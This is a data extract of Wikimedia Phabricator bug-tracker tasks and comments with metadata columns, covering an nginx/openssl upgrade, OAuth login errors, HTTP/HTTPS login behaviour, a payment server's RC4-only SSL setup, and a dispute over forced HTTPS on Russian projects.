+467133,use httpbin.org,"Bug number properly added at patch set 2, so gerrit bot didn't post the link to the patch:
+https://gerrit.wikimedia.org/r/#/c/215248",,,1433204497,,PHID-USER-pdlnbp2w5h2rej2hikwj,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+96850,Test then switch to openssl 1.0.2 + nginx 1.9.2,"Neither of these are currently in jessie's stable package set.  However, both are desirable sometime this year, enough that we will probably bite the bullet on using a backports package and/or rolling our own that we have to maintain security on.
+
+The driver for openssl 1.0.2 is ALPN support (which isn't important until we get HTTP/2)
+The drivers for nginx 1.9.2:
+* lots of non-sec bugfixes for ""newer"" features that we are using are simply not backported to 1.6.x (several already for SPDY, OCSP Stapling, etc)
+* general background on nginx mainline-vs-stable: http://nginx.com/blog/nginx-1-6-1-7-released/
+* SO_REUSEPORT support
+
+This will all be interrelated with HTTP/2 support as well, but that may not land in nginx until some later version.
+
+Note that for ALPN, the updated nginx package has to have been compiled against headers from the updated openssl package.",Low,25.0,1429710765,1435520265.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-zz33sqnmec4hnegk6opq,task_description,resolved,True,c3,1,True,True,True,-11,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+483221,Test then switch to openssl 1.0.2 + nginx 1.9.2,"We've already switched to nginx 1.9.2 w/ SO_REUSEPORT enabled.  We're still using debian's openssl 1.0.1 with it for now, but we'll address openssl upgrades separately as part of the ECDSA and/or HTTP/2 tickets linked as blockers here.",,,1435520265,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-zz33sqnmec4hnegk6opq,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+478949,Test then switch to openssl 1.0.2 + nginx 1.9.2,nginx 1.9.2 is now in Debian unstable,,,1434969851,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-zz33sqnmec4hnegk6opq,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+469565,Test then switch to openssl 1.0.2 + nginx 1.9.2,"@faidon just pointed out the [[ http://nginx.com/blog/socket-sharding-nginx-release-1-9-1/ |  1.9.1 release has added `SO_REUSEPORT` ]], which would be a really huge win at our traffic scale.  That's a big reason to lump onto the others at the top here to update to our own, newer package.  The general idea of rolling our own (of any version) would also let us [[ https://phabricator.wikimedia.org/T86654 | do a multicert patch for deploying ECDSA certs ]], which recently became possible with our cert provider...",,,1433466778,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-zz33sqnmec4hnegk6opq,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1
+448217,Test then switch to openssl 1.0.2 + nginx 1.9.2,Waiting for the (relatively-imminent) official Jessie release before making any further decisions here...,,,1429797172,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-zz33sqnmec4hnegk6opq,task_subcomment,,True,c3,1,True,,,-10,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+95221,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin","On my 2013 Moto X running Android 4.4 and Chrome, I tried to log in to Phabricator, I think for the first time. On phabricator.wikimedia.org I clicked the [Login or Register MediaWiki] button, and after 8 attempts at the mediawiki.org Special:Login page (typnig on phone keygoard is hard) I  successfully logged into mediawiki.org as ""SPage (WMF)"". 
+Upon doing so, the page
+https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=a1cblahblah appeared displaying a confusing pink error message
+
+**Central user log in**
+No active login attempt is in progress for your session.
+
+I don't know what this means. It's not helpful and I have no idea what to do next.
+I expect to see the usual OAuth  ""phabricator-production would like to have basic access..."" dialog.
+I tried going to a random page on mw.org and that worked, but still no OAuth dialog.
+
+I pressed the back button repeatedly and eventually the OAuth dialog appeared on top of a grayed out page. (The dialog was positioned off-screen, but that's a separate bug T95216.)
+
+The situation sounds like {T53789} but that's a complaint about mobile on desktop. There are other bugs in Phabricator mentioning this ""No active login attempt is in progress for your session."" message.
+
+----
+
+I had additional difficulty but it's probably unrelated. I spent time filing this bug report before clicking the OAuth [Allow] button. That resulted in a red warning in the OAuth dialog
+ Sorry something went wrong connecting this application. Go back and try to connect your account again, or contact the application author.
+ OAuth token not found,  E004
+
+Clicking [Allow] again displayed the same warning.
+
+So I backed out all the way to the Phabricator login page, clicked it [Login or Register MediaWiki] button, got the OAuth dialog right away, clicked [Allow], and was back in Phabricator logged in. I think the moral is don't spend 15 minutes filing a bug report in the middle of trying to log in with OAuth :)",Low,25.0,1428352167,1589143078.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-3rxj6v6fprjocdrb7wco,task_description,declined,True,c3,1,False,False,False,-13,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+1500603,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin",">>! In T95221#4529571, @Aklapper wrote:
+> Does this still happen / can someone still reproduce? Asking because T201460 got fixed recently.
+
+Unfortunately closing this Phabricator task as no further information has been provided. If anyone can still reproduce this problem, please provide browser info, OS info, and steps to reproduce and set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!
+",,,1589143078,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,True,,,253,True,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1
+1128718,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin",Does this still happen / can someone still reproduce? Asking because T201460 got fixed recently.,,,1535108419,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,True,,,164,True,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0
+615650,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin","I disagree with mmodell - once the pink/red texts appears, if you tap on desktop at the bottom, it works fine, meaning it is an issue with the mobile version.",,,1456163647,,PHID-USER-ksll7typ67mci2jnplxf,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+615648,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin","I think the issue is that the oauth token timeout is very short - only a couple of minutes, if you don't get through the process quickly it's already timed out.",,,1456163484,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,True,,,33,True,0,0,1,0,1,1,1,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+615645,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin","I have the same on my iPad - when the error is displayed, tap on 'desktop' at the bottom of the page, and it should now appear as expected.",,,1456163276,,PHID-USER-ksll7typ67mci2jnplxf,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+94125,"Central login notice appears on unencrypted API format=*fm pages, where reloading does not affect login status","@halfak and I noticed this earlier.
+* Log in to a Wikimedia wiki
+* Browse to /w/api.php?action=query&meta=userinfo via HTTP (not HTTPS)
+* See ""You are centrally logged in. Reload the page to apply your user settings.""
+* Reload page
+* No change. The login would've happened over HTTPS but this is unencrypted.
+* Load page via HTTPS instead
+* Now you're shown as logged in",Low,25.0,1427416367,1697187026.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-awz4sziqvcfihhsazws3,task_description,declined,True,c3,1,True,False,False,-14,True,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,1,0,0,1,0,0
+2211030,"Central login notice appears on unencrypted API format=*fm pages, where reloading does not affect login status","This only affects CentralAuth in a non-WMF configuration, which we don't support.",,,1697187026,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-awz4sziqvcfihhsazws3,task_subcomment,,True,c3,3,True,,,432,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+504143,"Central login notice appears on unencrypted API format=*fm pages, where reloading does not affect login status",">>! In T94125#1385626, @jayvdb wrote:
+> The stated sequence cant occur any more due to HTTPS rollout, so maybe this bug is solved. (Also this is a bit like {T57887}, which still occurs)
+
+The ticket isn't about WMF sites though, it's about MediaWiki (not all other sites are forcing HTTPS).",,,1438964151,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-awz4sziqvcfihhsazws3,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+478663,"Central login notice appears on unencrypted API format=*fm pages, where reloading does not affect login status","The stated sequence cant occur any more due to HTTPS rollout, so maybe this bug is solved. (Also this is a bit like {T57887}, which still occurs)",,,1434873671,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-awz4sziqvcfihhsazws3,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0
+91694,Worldpay: donors on Firefox receiving weird SSL error,"Urgency: low-medium
+Impact to donors: receiving strange error message in english, looks unprofessional and losing donations
+
+**Note to @atgo:** This wasn't reported at all in IL, but I don't know if I can rule out the issue in case it was a WPG thing. Feel free to close this task if you think it's no longer relevant.
+
+From 11/14/2014:
+Number of donors impacted: At least 10 have contacted us since Friday. It seems the payment failure related to this error are not making it to WP so we can't quantify how many are seeing this and not contacting us
+
+We have received word from a number of French donors who say that after entering their credit card details and clicking Submit, they are sent to this page:
+
+https://ott9.wpstn.com/live/
+
+It looks like it's probably a WP page, but there's not much to go off of. A very tech savvy donor sent us the reply below — I think he can explain this better than I ever could. Two other donors confirmed they were using Firefox and probably had to do with browser security:
+
+I tried to donate to Wikipedia but could not, as my web browser (Firefox) is configured not to accept the RC4 algorithm for SSL connections. The RC4 algorithm is considered insecure nowadays. Apparently, RC4 is all that the web server ott9.wpstn.com supports, as I get the error message that no overlap in supported encryption algorithms was found.
+
+The SSL scan results obtained on https://www.ssllabs.com/ssltest/analyze.html?d=ott9.wpstn.com&hideResults=on support this finding.
+
+Please, can you arrange for the SSL stack on this server to allow more secure symmetric algorithms than RC4, so that people with web browsers configured for higher security can donate?
+
+I don't have Civi IDs or WP order IDs for these donors because they didn't seem to make it that far. Two questions:
+
+1) Is there a reason they're getting a WP error and not one from us?
+
+2) Is there anything we can do based on the donor's suggestion above to change the way we connect through SSL?",Low,25.0,1425589087,1483552980.0,PHID-USER-uxp3hc4banddtiwz6xrp,True,PHID-USER-3jrdwh7dywughlcnir2i,False,PHID-TASK-mw7kmenei2e5hho2xkwq,task_description,declined,True,c3,1,True,False,False,-17,True,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1
+421872,Worldpay: donors on Firefox receiving weird SSL error,@jgreen do you have any ideas on this one?,,,1425596486,,PHID-USER-j4ifauraw6sytqa3zrih,True,,,PHID-TASK-mw7kmenei2e5hho2xkwq,task_subcomment,,True,c3,1,False,,,-17,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+91352,Russian projects force HTTPS regardless of preferences,"Today I came across an issue that prevents using HTTP on the Russian Wiktionary. At first I had to turn the ""Always use secure connection"" option off. Then I tried deleting all ForceHTTPS cookies and logging in-out several times, but to no avail. Currently I have no such cookies but still unable to switch to HTTP.",Low,25.0,1425344228,1426054218.0,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,PHID-USER-766idcqt4jkngnnuhnrj,False,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_description,invalid,True,c3,1,False,False,True,-18,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+429166,Russian projects force HTTPS regardless of preferences,"Change 194856 merged by jenkins-bot:
+Hide ""prefershttps"" preference on HSTS domains (ru): it has no effect
+
+[[https://gerrit.wikimedia.org/r/194856]]",,,1426778795,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+424347,Russian projects force HTTPS regardless of preferences,"
+> I have slow and unstable and limited by quota connection to Internet. And no, it's not going to improve because of where I live. HTTPS has additional payload and uses precious time and bandwidth up, can't be cached by proxy servers or compressed by Opera Turbo. Enough? So, please, don't forget your promises, and keep my ability to use HTTP intact, and fix this bug. Thanks for attention and understanding.
+
+See T86666 and T35890 -- we're very aggressively optimizing HTTPS performance (SPDY also introduces additional compression). Are you able to quantify the performance difference, by comparing en.wikipedia.org on an HTTP connection vs. ru.wikipedia.org on an HTTPS connection? 
+
+While we take the performance concern seriously and are willing to continue to investigate it with you to ensure you have the best possible experience on HTTPS, at this time we will not revisit the configuration issue. I'm closing this ticket as invalid, because the reported behavior is the intended one with the exception of the checkbox needing to be hidden.",,,1426054208,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+423658,Russian projects force HTTPS regardless of preferences,"The question is, why do you feel you have the right to decide instead of me whether to use it. I explicitly opted out, and you should comply with that. When I first heard about HTTPS rolling out on Wikimedia projects, I myself raises concerns about the possibility it will negatively impact my access and capability to participate, and several users supported me. We were told we will be able to opt out, and indeed for a while it had been working great, albeit sometimes this bug occurs, and now you say you lied to us or what? If some dumbass admin on those projects decided he is the smartest being in the entire world, why do I have to suffer?
+
+I have slow and unstable and limited by quota connection to Internet. And no, it's not going to improve because of where I live. HTTPS has additional payload and uses precious time and bandwidth up, can't be cached by proxy servers or compressed by Opera Turbo. Enough? So, please, don't forget your promises, and keep my ability to use HTTP intact, and fix this bug. Thanks for attention and understanding.",,,1425971334,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0
+423651,Russian projects force HTTPS regardless of preferences,"A Russian Wikipedia community member implemented a JavaScript redirect to send Russian Wikipedia traffic to HTTPS in August 2014, so most Russian Wikipedia traffic has been going over HTTPS since last year. A similar hack was in place in Russian Wikinews. The resulting configuration was vulnerable to man-in-the-middle attacks, as it depended on users first loading the insecure version. It also caused a major performance hit for users due to the double-loading. In consultation with Russian Wikimedia community members, consistent with our long term HTTPS rollout objectives, and consistent with the pre-existing request to participate in the HTTPS beta, we superseded the hack with a server-side redirect and HSTS as a secure and consistent default configuration for all Russian language projects.
+
+I'm curious what your concerns are about HTTPS and whether they can be addressed? Why do you want to opt-out?",,,1425965788,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0
+423488,Russian projects force HTTPS regardless of preferences,Why?,,,1425940958,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+423168,Russian projects force HTTPS regardless of preferences,@KPu3uC_B_Poccuu: You cannot use Russian Wikimedia projects without HTTPS at this time; the cookie will not have any effect. Resolving as invalid unless you can reproduce the issue in other projects.,,,1425916251,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+423117,Russian projects force HTTPS regardless of preferences,"You can edit the title with ""Edit Task"".
+
+If you can also reproduce it on e.g. http://en.wikipedia.org then there is something we don't know yet.",,,1425912478,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+423085,Russian projects force HTTPS regardless of preferences,"Even better title would be ""Occasionally, projects enforce HTTPS regardless of user settings"". It occurs from time to time on all projects I participate in, just that Russian Wiktionary was the one I had trouble when reporting this.",,,1425905626,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0
+422955,Russian projects force HTTPS regardless of preferences,"Okay, tell me, do you still consider this is not a bug and why the title is still misleading. And, for the record, I honestly don't know what to expect from this ticket anymore. Maybe it will get fixed. Most likely, as it stands, nothing will be done. But there are also chances that HTTP will be blocked completely on some grounds I have no clue of, and I 'd rather not.",,,1425868613,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0
+422916,Russian projects force HTTPS regardless of preferences,"There is no need to blame yourself or others. The ""root of the misunderstanding"" is simply a partial communication (I think WMF has plans to fix that later).
+
+I'm not aware of the existence of the ""official Wikimedia policy regarding HTTPS"" which you mentioned, but I've [[https://meta.wikimedia.org/w/index.php?title=HTTPS&action=historysubmit&diff=11498780&oldid=10978960|updated the informative page]] that Meta-Wiki has on the topic.",,,1425841492,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+422877,Russian projects force HTTPS regardless of preferences,"Okay, I'll calm myself down. Still, I believe the root of the misunderstandings is not in me being unclear, but reading my comments only partially.",,,1425828235,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+422851,Russian projects force HTTPS regardless of preferences,"@KPu3uC_B_Poccuu: Apart from all previous unfortunate misunderstandings in this ticket, please see https://www.mediawiki.org/wiki/Phabricator/Etiquette : there is no need to get personal here or assume roles of people. Instead, there is a software behavior that's not what you expected and clarifying and getting exact steps to reproduce took a while. Thanks for your understanding.",,,1425823431,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0
+422842,Russian projects force HTTPS regardless of preferences,"This makes no sense. I have never met such incompetent developer. I filed a bug about HTTPS occasionally being forced even if you opted out. You reproduced the bug on your end somehow but instead of fixing it you declared it intentional even if it's against the official Wikimedia policy regarding HTTPS and the fact that you can still access the wikis via HTTP when the bug doesn't occur, as a developer I assume you must know the policy well. You now remind me of Valve fixing a bug in their game by officially calling it intentional after 2 years of silence on that 